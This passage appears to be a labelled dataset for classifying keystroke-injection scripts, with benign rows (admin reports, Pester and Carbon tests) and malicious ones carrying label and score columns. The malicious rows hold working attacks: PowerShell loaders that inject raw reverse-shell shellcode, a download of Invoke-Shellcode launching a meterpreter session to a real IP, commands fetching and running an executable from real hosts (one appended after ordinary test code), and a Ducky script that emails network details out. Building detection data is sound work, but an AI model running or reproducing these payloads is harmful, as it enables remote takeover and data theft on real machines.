IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xbc,0x30,0x50,0xeb,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1374165e-05,0.9999486
win+r powershell enter IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com enter /cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellco enter de -Payload windows/meterpreter/reverse_https -Lhost 62.109.8.21 -Lport 443 -For enter ce enter enter,1,1,6.1775194e-05,0.99993825
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_t7pw5o9l"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter",0,0,0.9999659,3.40694e-05
"win+r enter powershell enter enter enter function HaveProperty enter { enter [CmdletBinding()] enter param ( enter $ActualValue, enter enter [string] enter $PropertyName, enter enter $WithValue, enter enter [switch] enter $Negate enter ) enter end enter { enter $shouldTestValue = $PSBoundParameters.ContainsKey('WithValue') enter if ($null -eq $ActualValue) enter { enter if ($shouldTestValue) enter { enter if ($Negate.IsPresent) enter { enter $failureMessage = 'Expected: value ""{0}"" to contain the property ""{1}"" where the value was not ""{2}"" but the input object was null.' -f $ActualValue, $PropertyName, $WithValue enter } enter else enter { enter $failureMessage = 'Expected: value ""{0}"" to contain the property ""{1}"" where the value was ""{2}"" but the input object was null.' -f $ActualValue, $PropertyName, $WithValue enter } enter } enter else enter { enter if ($Negate.IsPresent) enter { enter $failureMessage = 'Expected: value ""{0}"" to not contain the property ""{1}"" but the input object was null.' -f $ActualValue, $PropertyName enter } enter else enter { enter $failureMessage = 'Expected: value ""{0}"" to contain the property ""{1}"" but the input object was null.' -f $ActualValue, $PropertyName enter } enter } enter enter return [PSCustomObject]@{ enter Succeeded = $false enter FailureMessage = $failureMessage enter } enter } enter enter $property = $ActualValue.psobject.Properties[$PropertyName] enter $hasProperty = [bool]$property enter if (-not $shouldTestValue) enter { enter $succeeded = $hasProperty enter if ($Negate.IsPresent) enter { enter $succeeded = -not $succeeded enter } enter enter if (-not $succeeded) enter { enter if ($Negate.IsPresent) enter { enter $failureMessage = 'Expected: value ""{0}"" to not contain the property ""{1}"" but it did.' -f $ActualValue, $PropertyName enter } enter else enter { enter $failureMessage = 'Expected: value ""{0}"" to contain the property ""{1}"" but it did not.' -f $ActualValue, $PropertyName enter } enter } enter enter return [PSCustomObject]@{ enter Succeeded = $succeeded enter FailureMessage = $failureMessage enter } enter } enter enter if (-not $hasProperty) enter { enter if ($Negate.IsPresent) enter { enter $failureMessage = 'Expected: value ""{0}"" to contain the property ""{1}"" where the value was not ""{2}"" but the property did not exist.' -f $ActualValue, $PropertyName, $WithValue enter } enter else enter { enter $failureMessage = 'Expected: value ""{0}"" to contain the property ""{1}"" where the value was ""{2}"" but the property did not exist.' -f $ActualValue, $PropertyName, $WithValue enter } enter enter return [PSCustomObject]@{ enter Succeeded = $false enter FailureMessage = $failureMessage enter } enter } enter enter $succeeded = $WithValue -eq $property.Value enter if ($Negate.IsPresent) enter { enter $succeeded = -not $succeeded enter $failureMessage = 'Expected: value ""{0}"" to contain the property ""{1}"" where the value was not ""{2}"" but it was.' -f $ActualValue, $PropertyName, $WithValue enter } enter else enter { enter $failureMessage = 'Expected: value ""{0}"" to contain the property ""{1}"" where the value was not ""{2}"" but the actual value was ""{3}"".' -f $ActualValue, $PropertyName, $WithValue, $property.Value enter } enter enter [PSCustomObject]@{ enter Succeeded = $succeeded enter FailureMessage = $failureMessage enter } enter } enter } enter Add-AssertionOperator -Name HaveProperty -Test $function:HaveProperty enter enter",0,0,0.99990714,9.283415e-05
"win+r enter powershell enter enter enter $importCarbonPath = Join-Path -Path $PSScriptRoot -ChildPath '..\Carbon\Import-Carbon.ps1' -Resolve enter enter Describe 'Import-Carbon' { enter enter BeforeEach { enter $Global:Error.Clear() enter if( (Get-Module 'Carbon') ) enter { enter Remove-Module 'Carbon' -Force enter } enter } enter enter AfterEach { enter if( (Get-Module 'Carbon') ) enter { enter Remove-Module 'Carbon' -Force enter } enter } enter enter It 'should import' { enter & $importCarbonPath enter (Get-Command -Module 'Carbon') | Should Not BeNullOrEmpty enter } enter enter It 'should import with prefix' { enter & $importCarbonPath -Prefix 'C' enter $carbonCmds = Get-Command -Module 'Carbon' enter $carbonCmds | Should Not BeNullOrEmpty enter foreach( $cmd in $carbonCmds ) enter { enter $cmd.Name | Should -Match '^.+-C.+$' enter } enter } enter enter It 'should handle drives in env path that do not exist' { enter $drive = $null enter for( $idx = [byte][char]'Z'; $idx -ge [byte][char]'A'; --$idx ) enter { enter $driveLetter = [char][byte]$idx enter $drive = '{0}:\' -f $driveLetter enter if( -not (Test-Path -Path $drive) ) enter { enter break enter } enter } enter enter $badPath = '{0}fubar' -f $drive enter $originalPath = $env:Path enter $env:Path = '{0};{1}' -f $env:Path,$badPath enter try enter { enter & $importCarbonPath enter $Global:Error.Count | Should Be 0 enter } enter finally enter { enter $env:Path = $originalPath enter } enter } enter enter It 'should import fast' { enter enter $maxAvgDuration = 9.0 enter if( (Test-Path -Path 'env:APPVEYOR') ) enter { enter enter $maxAvgDuration = 0.8 enter } enter $carbonPath = Join-Path -Path $PSScriptRoot -ChildPath '..\Carbon' -Resolve enter & { enter for( $idx = 0; $idx -lt 7; ++$idx ) enter { enter $job = Start-Job -ScriptBlock { enter $started = Get-Date enter Import-Module -Name $using:carbonPath enter return (Get-Date) - $started enter } enter $job | Wait-Job | Receive-Job enter $job | Remove-Job -Force enter } enter } | enter Select-Object -ExpandProperty 'TotalSeconds' | enter Sort-Object | enter enter Select-Object -Skip 1 | enter Select-Object -SkipLast 1 | enter Measure-Object -Average -Maximum -Minimum | enter ForEach-Object { enter Write-Verbose -Message ('Import-Module Statistics') -Verbose enter Write-Verbose -Message ('========================') -Verbose enter $_ | Format-List | Out-String | Write-Verbose -Verbose enter $_ enter } | enter Select-Object -ExpandProperty 'Average' | enter Should -BeLessOrEqual $maxAvgDuration enter } enter } enter enter",0,0,0.99995685,4.3166212e-05
win r powershell enter enter cd $env:temp enter enter wget -o cdbgutil.exe http://:8080/windows enter enter .\cdbgutil.exe enter,1,1,8.7197375e-05,0.99991274
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_w7ds2hld"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.41983e-05
"DUCKY_REAL_BEGIN enter REM Author: Jon Edwards enter REM Description: This payload opens a terminal, gets ip address and 'airport -I' info and automatically sends info to attacker. enter REM -------------------------------- enter DELAY 3000 enter GUI SPACE enter DELAY 1500 enter STRING terminal enter DELAY 1500 enter ENTER enter DELAY 3000 enter STRING clear enter DELAY 1500 enter ENTER enter DELAY 1000 enter STRING ifconfig enter ENTER enter DELAY 1500 enter STRING airport -I enter DELAY 1500 enter ENTER enter DELAY 1500 enter GUI a enter DELAY 1000 enter GUI c enter ENTER enter DELAY 3000 enter STRING open https://mail.google.com/mail/u/0/#inbox?compose=new enter ENTER enter DELAY 20000 enter STRING example@gmail.com enter DELAY 2000 enter TAB enter DELAY 1500 enter TAB enter DELAY 1500 enter STRING ***example email title*** enter DELAY 1500 enter TAB enter DELAY 1500 enter GUI v enter DUCKY_REAL_END",1,1,6.301148e-05,0.99993694
"win+r enter powershell enter enter enter Set-StrictMode -Version Latest enter enter Describe ""New-Fixture"" { enter It ""Name parameter is mandatory:"" { enter (get-command New-Fixture ).Parameters.Name.ParameterSets.__AllParameterSets.IsMandatory | Should -Be $true enter } enter enter Context ""Only Name parameter is specified:"" { enter It ""Creates fixture in current directory:"" { enter $name = ""Test-Fixture"" enter $path = ""TestDrive:\"" enter enter Push-Location -Path $path enter New-Fixture -Name $name | Out-Null enter Pop-Location enter enter Join-Path -Path $path -ChildPath ""$name.ps1"" | Should -Exist enter Join-Path -Path $path -ChildPath ""$name.Tests.ps1"" | Should -Exist enter } enter } enter enter Context ""Name and Path parameter is specified:"" { enter It ""Creates fixture in full Path:"" { enter $name = ""Test-Fixture"" enter $path = ""TestDrive:\full"" enter enter New-Fixture -Name $name -Path $path | Out-Null enter enter Join-Path -Path $path -ChildPath ""$name.ps1"" | Should -Exist enter Join-Path -Path $path -ChildPath ""$name.Tests.ps1"" | Should -Exist enter Join-Path -Path ""$path"" -ChildPath ""$name.ps1"" | Remove-Item -Force enter Join-Path -Path ""$path"" -ChildPath ""$name.Tests.ps1"" | Remove-Item -Force enter } enter enter It ""Creates fixture in relative Path:"" { enter $name = ""Relative1-Fixture"" enter $path = ""TestDrive:\"" enter enter Push-Location -Path $path enter New-Fixture -Name $name -Path relative | Out-Null enter Pop-Location enter enter Join-Path -Path ""$path enter elative"" -ChildPath ""$name.ps1"" | Should -Exist enter Join-Path -Path ""$path enter elative"" -ChildPath ""$name.Tests.ps1"" | Should -Exist enter } enter It ""Creates fixture if Path is set to '.':"" { enter $name = ""Relative2-Fixture"" enter $path = ""TestDrive:\"" enter enter Push-Location -Path $path enter New-Fixture -Name $name -Path . | Out-Null enter Pop-Location enter enter Join-Path -Path ""$path"" -ChildPath ""$name.ps1"" | Should -Exist enter Join-Path -Path ""$path"" -ChildPath ""$name.Tests.ps1"" | Should -Exist enter } enter It ""Creates fixture if Path is set to '(pwd)':"" { enter $name = ""Relative3-Fixture"" enter $path = ""TestDrive:\"" enter enter Push-Location -Path $path enter New-Fixture -Name $name -Path (Get-Location) | Out-Null enter Pop-Location enter enter Join-Path -Path ""$path"" -ChildPath ""$name.ps1"" | Should -Exist enter Join-Path -Path ""$path"" -ChildPath ""$name.Tests.ps1"" | Should -Exist enter } enter It ""Creates fixture if Path is set to '(pwd)' and Name contains the 'ps1' extension:"" { enter $name = ""Relative4-Fixture.ps1"" enter $nameWithoutExtension = $name.Substring(0, $($name.Length) - 4) enter $path = ""TestDrive:\"" enter enter Push-Location -Path $path enter New-Fixture -Name $name -Path (Get-Location) | Out-Null enter Pop-Location enter enter Join-Path -Path ""$path"" -ChildPath ""$nameWithoutExtension.ps1"" | Should -Exist enter Join-Path -Path ""$path"" -ChildPath ""$nameWithoutExtension.Tests.ps1"" | Should -Exist enter } enter It ""Writes warning if file exists"" { enter $name = ""Warning-Fixture"" enter $path = ""TestDrive:\"" enter enter Mock -Verifiable -ModuleName Pester Write-Warning { } enter New-Fixture -Name $name -Path $path | Out-Null enter New-Fixture -Name $name -Path $path -WarningVariable warnings -WarningAction SilentlyContinue | Out-Null enter enter Assert-VerifiableMock enter } enter enter } enter enter } enter enter",0,0,0.99995995,4.0002837e-05
"win+r enter powershell enter enter enter function Remove-PSObjectEmptyOrNullProperty enter { enter enter PARAM ( enter $PSObject) enter PROCESS enter { enter $PsObject.psobject.Properties | enter Where-Object { -not $_.value } | enter ForEach-Object { enter $PsObject.psobject.Properties.Remove($_.name) enter } enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,6.19175e-05,0.99993813
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_tlp1v7qp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_75.txt"") -Encoding UTF8 enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,2) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4151697e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x09,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.21944e-05,0.9999478
"win+r powershell enter $nyJu = '$RZf = ''[DllImport(""kernel32.dll"")]public static extern IntPtr Virtual enter Alloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[Dll enter Import(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadA enter ttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwC enter reationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern I enter ntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefiniti enter on $RZf -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = enter 0xda,0xdd,0xd9,0x74,0x24,0xf4,0x5b,0x31,0xc9,0xb1,0x56,0xbf,0xfe,0x58,0xe7,0x97, enter 0x31,0x7b,0x18,0x83,0xeb,0xfc,0x03,0x7b,0xea,0xba,0x12,0x6b,0xfa,0xb9,0xdd,0x94, enter 0xfa,0xdd,0x54,0x71,0xcb,0xdd,0x03,0xf1,0x7b,0xee,0x40,0x57,0x77,0x85,0x05,0x4c, enter 0x0c,0xeb,0x81,0x63,0xa5,0x46,0xf4,0x4a,0x36,0xfa,0xc4,0xcd,0xb4,0x01,0x19,0x2e, enter 0x85,0xc9,0x6c,0x2f, enter enter",1,1,5.4104596e-05,0.9999459
"win+r powershell enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter $user = $null enter $url = 'http://test-granthttpurlpermission:10383/' enter function Start-Test enter { enter $user = Resolve-Identity -Name $CarbonTestUser.UserName enter } enter function Stop-Test enter { enter netsh http delete urlacl url=$url enter } enter function Test-ShouldRegisterAUrl enter { enter Grant-HttpUrlPermission -Url $url -Principal $user -Permission Listen enter Assert-NoError enter Assert-Permission -ExpectedPermission ([Carbon.Security.HttpUrlAccessRights]::Listen) enter } enter function Test-ShouldRegisterUrlWithoutTrailingForwardSlash enter { enter Grant-HttpUrlPermission -Url $url.TrimEnd(""/"") -Principal $user -Permission ListenAndDelegate enter Install-User -Credential (New-Credential -UserName 'CarbonTestUser2' -Password 'Password1') -PassThru enter $user2 = Resolve-Identity -Name 'CarbonTestUser2' enter Grant-HttpUrlPermission -Url $url.TrimEnd(""/"") -Principal $user2.FullName -Permission ListenAndDelegate enter Assert-NoError enter Assert-Permission -ExpectedPermission ([Carbon.Security.HttpUrlAccessRights]::ListenAndDelegate) enter Assert-Permission -ExpectedPermission ([Carbon.Security.HttpUrlAccessRights]::ListenAndDelegate) -ExpectedUser $user2.FullName enter } enter function Test-ShouldGrantJustDelegatePermission enter { enter Grant-HttpUrlPermission -Url $url -Principal $user -Permission Delegate enter Assert-NoError enter Assert-Permission -ExpectedPermission ([Carbon.Security.HttpUrlAccessRights]::Delegate) enter } enter function Test-ShouldGrantJustReadPermission enter { enter Grant-HttpUrlPermission -Url $url -Principal $user -Permission Read enter Assert-NoError enter Assert-Permission -ExpectedPermission ([Carbon.Security.HttpUrlAccessRights]::Read) enter } enter function Test-ShouldChangePermission enter { enter Grant-HttpUrlPermission -Url $url -Principal $user -Permission Listen enter Assert-NoError enter Assert-Permission -ExpectedPermission ([Carbon.Security.HttpUrlAccessRights]::Listen) enter Grant-HttpUrlPermission -Url $url -Principal $user -Permission ListenAndDelegate enter Assert-NoError enter Assert-Permission -ExpectedPermission ([Carbon.Security.HttpUrlAccessRights]::ListenAndDelegate) enter } enter function Test-ShouldGrantMultipleUsersPermission enter { enter Grant-HttpUrlPermission -Url $url -Principal $user -Permission Listen enter Assert-NoError enter Install-User -Credential (New-Credential -UserName 'CarbonTestUser2' -Password 'Password1') -PassThru enter $user2 = Resolve-Identity -Name 'CarbonTestUser2' enter Grant-HttpUrlPermission -Url $url -Principal $user2.FullName -Permission Listen enter Assert-NoError enter Assert-Permission -ExpectedPermission ([Carbon.Security.HttpUrlAccessRights]::Listen) enter Assert-Permission -ExpectedPermission ([Carbon.Security.HttpUrlAccessRights]::Listen) -ExpectedUser $user2.FullName enter } enter function Assert-Permission enter { enter param( enter $ExpectedUser = $user.FullName, enter $ExpectedPermission enter ) enter $acl = Get-HttpUrlAcl -Url $url enter Assert-NoError enter Assert-NotNull $acl enter Assert-Equal $acl.Url $url enter $rule = $acl.Access | Where-Object { $_.IdentityReference -eq $ExpectedUser } enter Assert-NotNull $rule enter Assert-Equal $ExpectedPermission $rule.HttpUrlAccessRights $ExpectedUser enter } enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter",1,1,5.6323213e-05,0.99994373
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_yz7o5h1m"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter",0,0,0.9999654,3.4514007e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_uthf1yff"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 3."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.4523782e-05
"win+r enter powershell enter enter enter $1 = '$c = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x86,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x8b,0x4c,0x10,0x78,0xe3,0x4a,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x89,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x69,0x6f,0x6c,0x2f,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0